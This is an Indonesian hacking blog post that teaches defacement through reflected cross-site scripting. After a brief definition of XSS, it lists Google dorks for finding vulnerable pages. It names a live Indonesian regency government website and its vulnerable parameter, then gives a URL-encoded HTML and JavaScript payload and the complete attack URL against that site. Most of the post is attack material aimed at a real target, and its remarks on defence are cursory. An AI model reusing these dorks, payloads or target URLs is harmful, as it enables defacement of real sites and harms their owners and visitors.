Deface Metode XSS Vulnerability | Warungdeface

Malam Ndan Kali ini Saya akan Membahas Tentang "Deface Metode XSS"

Apa itu XSS?
---------------------------------------------------
XSS merupakan kependekan yang digunakan untuk istilah cross site scripting.

XSS merupakan salah satu jenis serangan injeksi code (code injection attack). XSS dilakukan oleh penyerang dengan cara memasukkan kode HTML atau client script code lainnya ke suatu situs. Serangan ini akan seolah-olah datang dari situs tersebut. Akibat serangan ini antara lain penyerang dapat mem-bypass keamanan di sisi klien, mendapatkan informasi sensitif, atau menyimpan aplikasi berbahaya.

XSS yang paling banyak digunakan adalah jenis GET dan POST.
Salah satu contoh yang akan dibahas adalah jenis GET.

Mengatasi XSS
---------------------------------------------------
PHP sangat handal dalam melakukan konversi string dengan cepat. Tetapi jenis apa yang akan anda lakukan jika hal diatas terjadi?

Saya melakukan survey terhadap teman-teman programmer.
Tidak sedikit yang menjawab "Pakai saja htmlentities() atau strip_tags()"

htmlentities() memang dapat melakukan konversi tag-tag HTML, tetapi bagaimana dengan Javascript?

strip_tags() memang dapat melakukan konversi tag-tag HTML dan PHP dengan NULL byte, tetapi bagaimana dengan Javascript?

Ok langsung saja Ke TKP :v
DORK :
inurl:"/showcatrows.php?CategoryID="
intext:"Website by Mile High Creative"
nurl:".php?cmd="
inurl:".php?z="
inurl:".php?q="
inurl:".php?search="
inurl:".php?query="
(Masih Banyak lagi Pakek Otak Mesum kalian) :v

Disini saya memakai Live Target Hasil Scannan Mesin Tempurku Ini Juga Kebetulan Dapat Target XSS :D

Live Target : http://www.mentawaikab.go.id/
Disini saya sudah dapat Celahnya Yaitu di Bagian /detil_isi.php?n

Tinggal masukin Script Javnya Deh :D

(TEXT KAMU)<%2Ftitle><body+bgcolor%3D"black"><center><marquee><b><font+color%3D"lime"><h1>TEXT KAMU<%2Fh1><%2Ffont><%2Fb><%2Fmarquee><br%2F><br%2F><b><font+color%3D"yellow">TEXT KAMU<%2Ffont><%2Fb><%2Fcenter><noscript><!--'))%2C%40)<marquee>K<%2Fmarquee><script>alert('TEXT KAMU')<%2Fscript>&id=6

Keterangan :
Tulisan Berwarna Biru Ganti Sesuka Hati Kalian :D

(TEXT KAMU)<%2Ftitle> : Untuk Menambahkan Text pada <Title>

<body+bgcolor%3D"black"><center><marquee><b><font+color%3D"lime"> : Untuk Menambahkan Background Color & Efek Blank
<h1>TEXT KAMU<%2Fh1><%2Ffont><%2Fb><%2Fmarquee><br%2F><br%2F> : Untuk Menambahkan Text Di bagian Headernya

<%2Fcenter><noscript><!--'))%2C%40)<marquee>K<%2Fmarquee><script>alert('TEXT KAMU')<%2Fscript>&id=6 : Untuk Menambahkan Text Di bagian Tengah Script.

EXECUTION
Ok Tinggal di Eksekusi deh :D

Contoh : www.targetmu.com/CelahXssnya>ScriptJavnya

http://www.mentawaikab.go.id//detil_isi.php?n=(TEXT KAMU)<%2Ftitle><body+bgcolor%3D"black"><center><marquee><b><font+color%3D"lime"><h1>TEXT KAMU<%2Fh1><%2Ffont><%2Fb><%2Fmarquee><br%2F><br%2F><b><font+color%3D"yellow">TEXT KAMU<%2Ffont><%2Fb><%2Fcenter><noscript><!--'))%2C%40)<marquee>K<%2Fmarquee><script>alert('TEXT KAMU')<%2Fscript>&id=6